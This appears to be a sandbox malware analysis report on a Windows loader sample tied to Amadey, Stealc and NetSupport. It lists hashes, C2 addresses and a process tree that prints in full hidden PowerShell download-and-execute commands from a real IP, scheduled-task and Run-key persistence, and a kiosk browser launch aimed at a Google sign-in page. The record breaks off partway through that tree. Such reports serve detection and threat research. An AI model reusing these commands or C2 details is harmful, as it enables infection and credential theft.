Overview

overview

10

Static

static

5

2025-03-26...er.exe

windows7-x64

10

2025-03-26...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    26/03/2025, 19:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-03-26_931cf964ce6a57469dbb4b1348d731da_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    931cf964ce6a57469dbb4b1348d731da

  • SHA1

    6c45ca1ac7bf0127a96895a9f41750f33f36153e

  • SHA256

    4ffbf2eea50d30a9b549d0fd43259de752c0a6dbb7f54df2c94c9c682189a712

  • SHA512

    310ee9fc767881d55c68fe88d36816904afa3bc6f8ac7784605cf2cd44237d7f854f85ca3f5b548665f1d471fb2fb39edcd6a7d6d5d0df8113fb6587a8f11f6e

  • SSDEEP

    24576:lqDEvCTbMWu7rQYlBQcBiT6rprG8a00u:lTvC/MTQYxsWR7a00

Score
10/10
amadeygcleanerhealernetsupportstealc092155trumpdefense_evasiondiscoverydropperevasionexecutionloaderpersistencepyinstallerratspywarestealertrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 4 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Netsupport family
    netsupport
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 16 IoCs
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 29 IoCs
  • Identifies Wine through registry keys 2 TTPs 10 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 9 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 6 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 32 IoCs
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 28 IoCs
  • Suspicious use of SendNotifyMessage 25 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-26_931cf964ce6a57469dbb4b1348d731da_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-26_931cf964ce6a57469dbb4b1348d731da_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 4n3jRmagOBa /tr "mshta C:\Users\Admin\AppData\Local\Temp\EBVQYeXpe.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 4n3jRmagOBa /tr "mshta C:\Users\Admin\AppData\Local\Temp\EBVQYeXpe.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:544
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\EBVQYeXpe.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2584
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'TA7A6OWBDSRKQ6JN7V63MEKKWFLUFQS3.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2888
        • C:\Users\Admin\AppData\Local\TempTA7A6OWBDSRKQ6JN7V63MEKKWFLUFQS3.EXE
          "C:\Users\Admin\AppData\Local\TempTA7A6OWBDSRKQ6JN7V63MEKKWFLUFQS3.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2796
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2756
            • C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
              "C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3000
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Users\Public\Netstat\netsup.bat" "
                7⤵
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2368
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
                  8⤵
                  • Adds Run key to start application
                  • System Location Discovery: System Language Discovery
                  PID:616
                • C:\Users\Public\Netstat\bild.exe
                  C:\Users\Public\Netstat\bild.exe
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:1808
            • C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
              "C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2504
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -u -p 2504 -s 36
                7⤵
                • Loads dropped DLL
                PID:2204
            • C:\Users\Admin\AppData\Local\Temp\10342650101\c282bd3fc1.exe
              "C:\Users\Admin\AppData\Local\Temp\10342650101\c282bd3fc1.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:2816
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c schtasks /create /tn Jx6nqmajg0F /tr "mshta C:\Users\Admin\AppData\Local\Temp\P5wCSfy3P.hta" /sc minute /mo 25 /ru "Admin" /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2768
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn Jx6nqmajg0F /tr "mshta C:\Users\Admin\AppData\Local\Temp\P5wCSfy3P.hta" /sc minute /mo 25 /ru "Admin" /f
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:2676
              • C:\Windows\SysWOW64\mshta.exe
                mshta C:\Users\Admin\AppData\Local\Temp\P5wCSfy3P.hta
                7⤵
                • System Location Discovery: System Language Discovery
                • Modifies Internet Explorer settings
                • Suspicious use of WriteProcessMemory
                PID:2800
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'KRJKXBINCLOTO4DE8F4SCNUOXVYYU2A2.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Downloads MZ/PE file
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2728
                  • C:\Users\Admin\AppData\Local\TempKRJKXBINCLOTO4DE8F4SCNUOXVYYU2A2.EXE
                    "C:\Users\Admin\AppData\Local\TempKRJKXBINCLOTO4DE8F4SCNUOXVYYU2A2.EXE"
                    9⤵
                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Identifies Wine through registry keys
                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2156
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Temp\10342660121\am_no.cmd" "
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2988
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 2
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:2600
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:2192
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2216
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:3036
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3008
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                7⤵
                  PID:1444
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1452
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /tn "aSNEUmadviG" /tr "mshta \"C:\Temp\vDaERfmyt.hta\"" /sc minute /mo 25 /ru "Admin" /f
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:1484
                • C:\Windows\SysWOW64\mshta.exe
                  mshta "C:\Temp\vDaERfmyt.hta"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Modifies Internet Explorer settings
                  PID:2164
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                    8⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Downloads MZ/PE file
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1316
                    • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                      "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                      9⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2264
              • C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe
                "C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2296
                • C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe
                  "C:\Users\Admin\AppData\Local\Temp\10342880101\ruKazpr.exe"
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2468
              • C:\Users\Admin\AppData\Local\Temp\10343000101\9260698ccd.exe
                "C:\Users\Admin\AppData\Local\Temp\10343000101\9260698ccd.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                PID:2552
              • C:\Users\Admin\AppData\Local\Temp\10343010101\f98d469f2d.exe
                "C:\Users\Admin\AppData\Local\Temp\10343010101\f98d469f2d.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2332
              • C:\Users\Admin\AppData\Local\Temp\10343020101\e77f7e910d.exe
                "C:\Users\Admin\AppData\Local\Temp\10343020101\e77f7e910d.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:2204
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM firefox.exe /T
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2264
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM chrome.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1736
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM msedge.exe /T
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2716
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM opera.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2928
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /F /IM brave.exe /T
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2852
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                  7⤵
                    PID:2460
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                      8⤵
                      • Checks processor information in registry
                      • Modifies registry class
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:2796
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2796.0.1630665936\1713158649" -parentBuildID 20221007134813 -prefsHandle 1224 -prefMapHandle 1216 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {71566851-0948-4f7a-bd95-a6c29f106532} 2796 "\\.\pipe\gecko-crash-server-pipe.2796" 1288 111d5858 gpu
                        9⤵
                          PID:1904
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2796.1.721293968\1443667402" -parentBuildID 20221007134813 -prefsHandle 1488 -prefMapHandle 1484 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8da7537b-a4e8-4a58-8807-45b48016869a} 2796 "\\.\pipe\gecko-crash-server-pipe.2796" 1500 d73358 socket
                          9⤵
                            PID:292
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2796.2.901166669\626223877" -childID 1 -isForBrowser -prefsHandle 1828 -prefMapHandle 1840 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 900 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6786f644-293c-42ac-bff0-ac43dc2e4f09} 2796 "\\.\pipe\gecko-crash-server-pipe.2796" 1120 1a598b58 tab
                            9⤵
                              PID:2324
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2796.3.1838074134\288346603" -childID 2 -isForBrowser -prefsHandle 2900 -prefMapHandle 2896 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 900 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {45cd763f-abf1-4ccf-a48b-c865413df115} 2796 "\\.\pipe\gecko-crash-server-pipe.2796" 2912 d64b58 tab
                              9⤵
                                PID:936
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2796.4.1608080544\1150645458" -childID 3 -isForBrowser -prefsHandle 3816 -prefMapHandle 3824 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 900 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4ddf8276-5cef-4520-90ee-716d6609f6cb} 2796 "\\.\pipe\gecko-crash-server-pipe.2796" 3832 20af7e58 tab
                                9⤵
                                  PID:2772
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2796.5.387830133\1738139190" -childID 4 -isForBrowser -prefsHandle 3956 -prefMapHandle 3960 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 900 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b6520831-7687-4e73-90df-97e69b5ba0a1} 2796 "\\.\pipe\gecko-crash-server-pipe.2796" 3944 20afa858 tab
                                  9⤵
                                    PID:2904
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2796.6.1870368497\1284693133" -childID 5 -isForBrowser -prefsHandle 4124 -prefMapHandle 4128 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 900 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0972977d-1b7d-4687-954c-2f10d48fc603} 2796 "\\.\pipe\gecko-crash-server-pipe.2796" 4112 20af7858 tab
                                    9⤵
                                      PID:2860
                              • C:\Users\Admin\AppData\Local\Temp\10343030101\2800dc5678.exe
                                "C:\Users\Admin\AppData\Local\Temp\10343030101\2800dc5678.exe"
                                6⤵
                                • Modifies Windows Defender DisableAntiSpyware settings
                                • Modifies Windows Defender Real-time Protection settings
                                • Modifies Windows Defender TamperProtection settings
                                • Modifies Windows Defender notification settings
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Windows security modification
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3048
                              • C:\Users\Admin\AppData\Local\Temp\10343040101\b556799e91.exe
                                "C:\Users\Admin\AppData\Local\Temp\10343040101\b556799e91.exe"
                                6⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3324
                              • C:\Users\Admin\AppData\Local\Temp\10343050101\ea6e8dda70.exe
                                "C:\Users\Admin\AppData\Local\Temp\10343050101\ea6e8dda70.exe"
                                6⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Loads dropped DLL
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious use of SetThreadContext
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3928
                                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10343050101\ea6e8dda70.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:3164
                              • C:\Users\Admin\AppData\Local\Temp\10343060101\458f5962ca.exe
                                "C:\Users\Admin\AppData\Local\Temp\10343060101\458f5962ca.exe"
                                6⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Loads dropped DLL
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious use of SetThreadContext
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3088
                                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10343060101\458f5962ca.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:1972
                              • C:\Users\Admin\AppData\Local\Temp\10343070101\kDveTWY.exe
                                "C:\Users\Admin\AppData\Local\Temp\10343070101\kDveTWY.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:3652
                                • C:\Windows\system32\WerFault.exe
                                  C:\Windows\system32\WerFault.exe -u -p 3652 -s 36
                                  7⤵
                                  • Loads dropped DLL
                                  PID:3648
                              • C:\Users\Admin\AppData\Local\Temp\10343080101\dBSGwVB.exe
                                "C:\Users\Admin\AppData\Local\Temp\10343080101\dBSGwVB.exe"
                                6⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:3792
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c ""C:\Users\Public\Netstat\netsup.bat" "
                                  7⤵
                                    PID:3812
                                    • C:\Windows\SysWOW64\reg.exe
                                      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
                                      8⤵
                                      • Adds Run key to start application
                                      • System Location Discovery: System Language Discovery
                                      PID:3824
                                    • C:\Users\Public\Netstat\bild.exe
                                      C:\Users\Public\Netstat\bild.exe
                                      8⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:3820
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c ""C:\Users\Public\Netstat\netsup.bat" "
                                    7⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3856
                                    • C:\Windows\SysWOW64\reg.exe
                                      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
                                      8⤵
                                      • Adds Run key to start application
                                      • System Location Discovery: System Language Discovery
                                      PID:3892
                                    • C:\Users\Public\Netstat\bild.exe
                                      C:\Users\Public\Netstat\bild.exe
                                      8⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • System Location Discovery: System Language Discovery
                                      PID:3908
                                • C:\Users\Admin\AppData\Local\Temp\10343090101\WLbfHbp.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10343090101\WLbfHbp.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Drops file in Windows directory
                                  • System Location Discovery: System Language Discovery
                                  PID:3504
                                  • C:\Windows\SysWOW64\CMD.exe
                                    "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
                                    7⤵
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    PID:4032
                                    • C:\Windows\SysWOW64\tasklist.exe
                                      tasklist
                                      8⤵
                                      • Enumerates processes with tasklist
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4060
                                    • C:\Windows\SysWOW64\findstr.exe
                                      findstr /I "opssvc wrsa"
                                      8⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2236
                                    • C:\Windows\SysWOW64\tasklist.exe
                                      tasklist
                                      8⤵
                                      • Enumerates processes with tasklist
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3224
                                    • C:\Windows\SysWOW64\findstr.exe
